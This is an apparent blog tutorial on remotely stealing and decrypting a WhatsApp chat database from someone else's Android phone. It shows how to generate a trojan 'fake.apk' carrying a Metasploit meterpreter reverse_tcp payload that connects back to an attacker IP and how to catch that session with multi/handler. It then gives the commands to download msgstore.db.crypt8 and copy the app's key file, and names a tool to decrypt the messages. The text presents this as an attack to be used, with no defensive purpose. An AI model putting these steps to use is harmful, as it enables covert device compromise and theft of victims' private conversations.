How To Remotely Decrypt The Whatsapp Database "crypt8"

Before starting the database decryption process,first obtain remote access to android device:

1. Start terminal and type:
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=81 R > fake.apk

[ Lhost=Attacker IP address, Lport=local port ]
This command will generate fake.apk in home directory.

2. Type: msfconsole
This command will start the metasploit framework.

3. Type: use exploit/multi/handler
In order to get multiple session on a single multi/handler.

4. Type: set payload android/meterpreter/reverse_tcp
This will provide the reverse connection from victim to attacker computer.

5. Type: show options
It will show the available options like lhost,lport

6. Set LHOST=192.168.0.2

7. Set LPORT=81

8. EXPLOIT

Now Run the app created in step 1 on your android phone and you'll get a meterpreter session 

Also see:How to hack wifi using social engineering technique

After getting the meterpreter session type below command to download the file:

• cd /
• cd /sdcard/WhatsApp
• ls (Print the current directory)
• cd Databases
• download msgstore.db.crypt8 (This will take time, maybe a LOT)

So, the database has been downloaded, now we need key to decrypt the database.

Follow the below command to Obtain the key for databases

• cd /
• cd /data/data
• ls
• cd com.whatsapp
• ls
• cd files
• ls
• cp key /sdcard/Download

(Means copy the file 'key' to sdcard>Download folder)

After obtaining the databases and key,Download the simple Github tool to decrpt the databases:

• Open the application (in windows).
• Click FIle, then on 'Decrypt .crypt8'
• In the box, provide the Key file and Database.

• Click OK, you will see that a 'msgstore.decrypted' file has appeared at your desktop.

• Open it using the same application, go to 'File' then 'Open'.
• Provide the Decrypted file generated on desktop, leave the Account name and  the 'wa.db', blank

• Click 'OK'
• Now you will see the contact no with the chat details

Note: Rooted smartphone is required to gain database and key from smartphone.

Also see:How to root android smartphone